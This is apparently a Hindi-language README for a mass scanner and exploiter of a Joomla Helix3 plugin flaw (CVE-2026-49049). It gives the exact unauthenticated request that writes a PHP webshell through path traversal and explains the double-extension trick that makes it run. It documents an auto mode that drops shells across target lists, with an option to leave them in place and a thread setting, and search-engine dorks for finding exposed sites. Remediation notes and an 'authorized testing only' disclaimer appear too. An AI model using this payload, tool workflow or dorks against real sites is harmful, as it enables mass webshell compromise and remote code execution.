
CVE-2026-49049 Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner
मास स्कैनर / सत्यापनकर्ता CVE-2026-49049 के लिए: Joomla के Helix3 Framework प्लगइन में अप्रमाणित AJAX हैंडलर (v1.0 – 3.1.0, 3.1.1+ में पैच किया गया)।
केवल अधिकृत परीक्षण। केवल उन प्रणालियों पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की लिखित अनुमति है।
हैंडलर onAjaxHelix3() फ़ाइल plugins/ajax/helix3/helix3.php में Joomla com_ajax के माध्यम से बिना प्रमाणीकरण / CSRF टोकन के पहुँच योग्य है:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
सक्रिय सामूहिक शोषण अक्सर डबल-एक्सटेंशन वेबशेल गिराता है:
< 3.1.1 का पता लगाएँsave का उपयोग layoutName=../../up.php + PHP वेबशेल सामग्री के साथ करें.json जोड़ता है → up.php.json वेब रूट में आता हैAddHandler मल्टी-एक्सटेंशन .php टोकन को निष्पादित करता हैGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKडिटेक्ट Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json लिखा
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
आवश्यकताएँ: requests>=2.31.0, colorama>=0.4.6, Python 3.9+।
targets.txt संपादित करें — प्रति पंक्ति एक URL/होस्ट (# = टिप्पणी)। Joomla पथ बनाए रखा गया है:
# उदाहरण
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
वेबशेल ड्रॉप नहीं करता। संस्करण जाँच + save / remove / import प्रोब करें:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# सत्यापन के बाद वेबशेल रखें (अधिकृत डेमो)
python3 scan.py -f targets.txt --auto --keep
# कस्टम वेबशेल नाम + ट्रैवर्सल गहराई
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON रिपोर्ट + समवर्तीता
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# प्रॉक्सी (Burp / आदि)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
चेतावनी: मोड
--autoपथ ट्रैवर्सल के माध्यम से वेबशेल लिखने का प्रयास करता है। डिफ़ॉल्ट: सत्यापन के बाद वेबशेल हटा दिया जाता है। केवल अधिकृत डेमो के लिए--keepका उपयोग करें।
टर्मिनल सभी स्थितियाँ दिखाता है (प्रगति)। results.txt केवल वही रखता है जो असुरक्षित हैं:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
अन्य लेबल (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) केवल टर्मिनल में, results.txt में नहीं।
नीचे दिए गए डॉर्क का उपयोग Helix3 / Joomla संपत्तियों को खोजने के लिए करें जो प्रभावित हो सकती हैं। केवल अनुमत लक्ष्यों को स्कैन करें।
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# संस्करण जाँच
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# बिना प्रमाणीकरण save प्रोब (केवल अधिकृत)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
System – Helix3 Framework और Helix3 – Ajax प्लगइन को 3.1.1 या नए (अनुशंसित 3.1.2) में अपडेट करें।
अपडेट DB में पहले से डाले गए पेलोड को साफ़ नहीं करता।
#__template_styles में params कॉलम को custom_js / custom_css इंजेक्शन के लिए जाँचेंtmp / media में संदिग्ध फ़ाइलें हटाएँ:
up.php.json, cox.json, *.php.json, अन्य वेबशेलसामान्य समझौता संकेत: विकृति "Hacked by AntonKill" / "trenggalek6etar", custom_js इंजेक्शन, अज्ञात JSON फ़ाइलें।
Apache — AddHandler मल्टी-एक्सटेंशन का उपयोग न करें; इसके बजाय उपयोग करें:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
अपलोड / फ़ाइल लेखन: फ़ाइल नाम पुनर्जीवित करें, मल्टी-डॉट एक्सटेंशन अस्वीकार करें, सार्वजनिक निर्देशिका में AllowOverride None।
python3 scan.py -t https://YOUR-SITE/ --scan
# अपेक्षित: PATCHED Helix3 3.1.1+ (या NOT_HELIX3 यदि प्लगइन अनइंस्टॉल किया गया)
CVE-2026-49049/
├── scan.py # CLI प्रवेश बिंदु
├── core/
│ ├── engine.py # ThreadPoolExecutor + परिणाम (केवल असुरक्षित फ़ाइल में)
│ ├── probe.py # Helix3 पहचान + save/remove/import + RCE ड्रॉप
│ └── target.py # targets.txt को पार्स / सामान्य करें
├── utils/
│ └── banner.py
├── targets.txt # इनपुट लक्ष्य
├── results.txt # उत्पन्न (केवल VULN / SHELL_OK)
├── requirements.txt
└── README.md
समुदाय से योगदान स्वीकार किया जाता है। अनुरक्षक: ExDev994।
from __future__ import annotations, type hints)python3 -m py_compile scan.py core/*.py utils/*.py और python3 scan.py --helpबग/सुविधा अनुरोध Issues पर रिपोर्ट करें। शामिल करें:
| योगदानकर्ता | भूमिका |
|---|---|
| ExDev994 | लेखक / अनुरक्षक |
भेद्यता मूल रूप से Phil Taylor (mySites.guru) द्वारा रिपोर्ट की गई। यह रिपॉजिटरी एक स्वतंत्र स्कैनर कार्यान्वयन है और JoomShaper या Open Source Matters से संबद्ध नहीं है।
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और इसमें इंडोनेशिया UU ITE, US CFAA, और अन्य क्षेत्राधिकारों के समान क़ानूनों का उल्लंघन हो सकता है।
लेखक (ExDev994) दुरुपयोग के लिए कोई देयता नहीं मानता। इस सॉफ़्टवेयर का उपयोग करके आप अपने कार्यों की पूरी जिम्मेदारी स्वीकार करते हैं। मोड --auto एक अस्थायी वेबशेल गिराता है — केवल अधिकृत लक्ष्यों पर उपयोग करें।
| क्रिया | प्रभाव | संस्करण |
|---|
save | मनमाना JSON फ़ाइल लेखन + पथ ट्रैवर्सल | 1.0 – 3.1.0 |
remove | मनमाना फ़ाइल हटाना (कोई एक्सटेंशन/पथ प्रतिबंध नहीं) | 1.0 – 3.1.0 |
import | DB में टेम्पलेट पैरामीटर अधिलेखित (custom_js अनएस्केप्ड → XSS/विकृति) | केवल v3.x |
| Helix3 संस्करण | save / remove | import | स्थिति |
|---|
| 1.0 – 2.x | असुरक्षित | मौजूद नहीं | असुरक्षित |
| 3.0 – 3.1.0 | असुरक्षित | असुरक्षित | असुरक्षित |
| 3.1.1+ | पैच किया गया | पैच किया गया | सुरक्षित |
| फ़्लैग | विवरण |
|---|
-f / --file | लक्ष्य फ़ाइल सूची (डिफ़ॉल्ट: targets.txt यदि -t अनुपस्थित) |
-t / --target | एकल लक्ष्य URL |
--scan | केवल-पढ़ने के लिए पहचान |
--auto | पहचान + RCE सत्यापन (डिफ़ॉल्ट) |
-c / --cmd | कमांड सत्यापन (डिफ़ॉल्ट: id) |
-o / --output | परिणाम फ़ाइल — केवल VULN / SHELL_OK लक्ष्य |
--json | संरचित JSON रिपोर्ट |
--keep | सत्यापन के बाद वेबशेल को ऑटो-हटाएँ नहीं |
--threads | समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 15) |
--timeout | HTTP टाइमआउट सेकंड (डिफ़ॉल्ट: 15) |